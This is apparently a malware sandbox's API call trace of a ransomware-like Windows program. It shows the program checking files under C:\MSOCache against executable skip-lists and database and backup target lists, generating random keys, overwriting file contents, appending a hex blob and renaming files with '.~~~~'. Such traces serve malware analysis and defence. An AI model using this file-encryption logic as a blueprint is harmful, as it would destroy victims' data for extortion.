	[0077.320] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.320] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.321] CloseHandle (hObject=0x118) returned 1
	[0077.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0077.321] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0077.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a46c0 | out: hHeap=0x300000) returned 1
	[0077.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0077.322] GetLastError () returned 0x0
	[0077.322] RtlWakeConditionVariable () returned 0x365f70
	[0077.322] GetCurrentThreadId () returned 0x9f4
	[0077.322] GetCurrentThreadId () returned 0x9f4
	[0077.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0077.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab2d0 | out: hHeap=0x300000) returned 1
	[0077.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac900 | out: hHeap=0x300000) returned 1
	[0077.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab2d0
	[0077.322] lstrlenW (lpString=".scr") returned 4
	[0077.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".scr") returned 0x0
	[0077.322] lstrlenW (lpString=".cmd") returned 4
	[0077.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".cmd") returned 0x0
	[0077.322] lstrlenW (lpString=".dll") returned 4
	[0077.322] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dll") returned 0x0
	[0077.322] lstrlenW (lpString=".bat") returned 4
	[0077.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".bat") returned 0x0
	[0077.323] lstrlenW (lpString=".cpl") returned 4
	[0077.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".cpl") returned 0x0
	[0077.323] lstrlenW (lpString=".sys") returned 4
	[0077.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".sys") returned 0x0
	[0077.323] lstrlenW (lpString=".msc") returned 4
	[0077.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".msc") returned 0x0
	[0077.323] lstrlenW (lpString=".com") returned 4
	[0077.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".com") returned 0x0
	[0077.323] lstrlenW (lpString=".lnk") returned 4
	[0077.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".lnk") returned 0x0
	[0077.323] lstrlenW (lpString=".msp") returned 4
	[0077.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".msp") returned 0x0
	[0077.323] lstrlenW (lpString=".pif") returned 4
	[0077.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".pif") returned 0x0
	[0077.323] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.323] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0077.323] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0077.434] lstrlenW (lpString=".sqb") returned 4
	[0077.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".sqb") returned 0x0
	[0077.434] lstrlenW (lpString=".ost") returned 4
	[0077.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".ost") returned 0x0
	[0077.434] lstrlenW (lpString=".txt") returned 4
	[0077.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".txt") returned 0x0
	[0077.434] lstrlenW (lpString=".mdt") returned 4
	[0077.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".mdt") returned 0x0
	[0077.439] lstrlenW (lpString=".BDB") returned 4
	[0077.439] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".BDB") returned 0x0
	[0077.440] lstrlenW (lpString=".eql") returned 4
	[0077.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".eql") returned 0x0
	[0077.440] lstrlenW (lpString=".DBF") returned 4
	[0077.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBF") returned 0x0
	[0077.440] lstrlenW (lpString=".EQL") returned 4
	[0077.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".EQL") returned 0x0
	[0077.453] lstrlenW (lpString=".FDB") returned 4
	[0077.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".FDB") returned 0x0
	[0077.454] lstrlenW (lpString=".EDB") returned 4
	[0077.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".EDB") returned 0x0
	[0077.454] lstrlenW (lpString=".DACPAC") returned 7
	[0077.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DACPAC") returned 0x0
	[0077.454] lstrlenW (lpString=".VHD") returned 4
	[0077.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".VHD") returned 0x0
	[0077.454] lstrlenW (lpString=".DBV") returned 4
	[0077.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBV") returned 0x0
	[0077.454] lstrlenW (lpString=".dacpac") returned 7
	[0077.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dacpac") returned 0x0
	[0077.454] lstrlenW (lpString=".sdf") returned 4
	[0077.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".sdf") returned 0x0
	[0077.454] lstrlenW (lpString=".accdb") returned 6
	[0077.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".accdb") returned 0x0
	[0077.454] lstrlenW (lpString=".DBX") returned 4
	[0077.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBX") returned 0x0
	[0077.455] lstrlenW (lpString=".MDT") returned 4
	[0077.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".MDT") returned 0x0
	[0077.455] lstrlenW (lpString=".SQB") returned 4
	[0077.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".SQB") returned 0x0
	[0077.455] lstrlenW (lpString=".vhd") returned 4
	[0077.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".vhd") returned 0x0
	[0077.455] lstrlenW (lpString=".bac") returned 4
	[0077.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".bac") returned 0x0
	[0077.455] lstrlenW (lpString=".mdf") returned 4
	[0077.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".mdf") returned 0x0
	[0077.455] lstrlenW (lpString=".BAK") returned 4
	[0077.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".BAK") returned 0x0
	[0077.455] lstrlenW (lpString=".BAC") returned 4
	[0077.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".BAC") returned 0x0
	[0077.455] lstrlenW (lpString=".dbs") returned 4
	[0077.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbs") returned 0x0
	[0077.455] lstrlenW (lpString=".vhdx") returned 5
	[0077.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".vhdx") returned 0x0
	[0077.455] lstrlenW (lpString=".NDF") returned 4
	[0077.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".NDF") returned 0x0
	[0077.455] lstrlenW (lpString=".dat") returned 4
	[0077.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dat") returned 0x0
	[0077.455] lstrlenW (lpString=".DBS") returned 4
	[0077.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBS") returned 0x0
	[0077.456] lstrlenW (lpString=".CKP") returned 4
	[0077.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".CKP") returned 0x0
	[0077.456] lstrlenW (lpString=".edb") returned 4
	[0077.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".edb") returned 0x0
	[0077.456] lstrlenW (lpString=".PST") returned 4
	[0077.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".PST") returned 0x0
	[0077.456] lstrlenW (lpString=".dbf") returned 4
	[0077.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbf") returned 0x0
	[0077.456] lstrlenW (lpString=".SQL") returned 4
	[0077.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".SQL") returned 0x0
	[0077.456] lstrlenW (lpString=".pst") returned 4
	[0077.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".pst") returned 0x0
	[0077.456] lstrlenW (lpString=".dbv") returned 4
	[0077.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbv") returned 0x0
	[0077.456] lstrlenW (lpString=".SDF") returned 4
	[0077.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".SDF") returned 0x0
	[0077.456] lstrlenW (lpString=".dtxs") returned 5
	[0077.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dtxs") returned 0x0
	[0077.456] lstrlenW (lpString=".db3") returned 4
	[0077.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".db3") returned 0x0
	[0077.456] lstrlenW (lpString=".OST") returned 4
	[0077.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".OST") returned 0x0
	[0077.456] lstrlenW (lpString=".dbx") returned 4
	[0077.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbx") returned 0x0
	[0077.457] lstrlenW (lpString=".DB3") returned 4
	[0077.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DB3") returned 0x0
	[0077.457] lstrlenW (lpString=".DAT") returned 4
	[0077.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DAT") returned 0x0
	[0077.457] lstrlenW (lpString=".VHDX") returned 5
	[0077.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".VHDX") returned 0x0
	[0077.457] lstrlenW (lpString=".ndf") returned 4
	[0077.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".ndf") returned 0x0
	[0077.457] lstrlenW (lpString=".DB") returned 3
	[0077.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DB") returned 0x0
	[0077.457] lstrlenW (lpString=".sql") returned 4
	[0077.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".sql") returned 0x0
	[0077.457] lstrlenW (lpString=".MYD") returned 4
	[0077.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".MYD") returned 0x0
	[0077.457] lstrlenW (lpString=".DBT") returned 4
	[0077.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBT") returned 0x0
	[0077.457] lstrlenW (lpString=".ACCDB") returned 6
	[0077.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".ACCDB") returned 0x0
	[0077.457] lstrlenW (lpString=".fdb") returned 4
	[0077.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".fdb") returned 0x0
	[0077.457] lstrlenW (lpString=".bak") returned 4
	[0077.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".bak") returned 0x0
	[0077.457] lstrlenW (lpString=".myd") returned 4
	[0077.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".myd") returned 0x0
	[0077.458] lstrlenW (lpString=".DTXS") returned 5
	[0077.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DTXS") returned 0x0
	[0077.458] lstrlenW (lpString=".ckp") returned 4
	[0077.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".ckp") returned 0x0
	[0077.458] lstrlenW (lpString=".dbt") returned 4
	[0077.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbt") returned 0x0
	[0077.458] lstrlenW (lpString=".db") returned 3
	[0077.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".db") returned 0x0
	[0077.458] lstrlenW (lpString=".TXT") returned 4
	[0077.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".TXT") returned 0x0
	[0077.458] lstrlenW (lpString=".MDF") returned 4
	[0077.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".MDF") returned 0x0
	[0077.458] lstrlenW (lpString=".bdb") returned 4
	[0077.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".bdb") returned 0x0
	[0077.458] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.458] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0077.460] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.460] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0077.460] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19744991805) returned 1
	[0077.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x98108eb0, dwHighDateTime=0x1d60e1e)) 
	[0077.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac9a8
	[0077.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac9a8 | out: hHeap=0x300000) returned 1
	[0077.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab420
	[0077.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab420 | out: hHeap=0x300000) returned 1
	[0077.460] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0077.461] GetLastError () returned 0x0
	[0077.461] GetLastError () returned 0x0
	[0077.461] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0077.461] GetLastError () returned 0x0
	[0077.461] GetLastError () returned 0x0
	[0077.462] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.467] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.467] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0077.469] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.469] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.471] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.471] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.471] CloseHandle (hObject=0x134) returned 1
	[0077.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.472] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.~~~~")) returned 1
	[0077.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0077.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.473] GetLastError () returned 0x0
	[0077.473] RtlWakeConditionVariable () returned 0x365f70
	[0077.473] GetCurrentThreadId () returned 0x9f4
	[0077.473] GetCurrentThreadId () returned 0x9f4
	[0077.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0077.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab570 | out: hHeap=0x300000) returned 1
	[0077.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac9e0 | out: hHeap=0x300000) returned 1
	[0077.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab570
	[0077.473] lstrlenW (lpString=".scr") returned 4
	[0077.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".scr") returned 0x0
	[0077.473] lstrlenW (lpString=".cmd") returned 4
	[0077.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".cmd") returned 0x0
	[0077.473] lstrlenW (lpString=".dll") returned 4
	[0077.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".dll") returned 0x0
	[0077.473] lstrlenW (lpString=".bat") returned 4
	[0077.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".bat") returned 0x0
	[0077.473] lstrlenW (lpString=".cpl") returned 4
	[0077.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".cpl") returned 0x0
	[0077.473] lstrlenW (lpString=".sys") returned 4
	[0077.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".sys") returned 0x0
	[0077.474] lstrlenW (lpString=".msc") returned 4
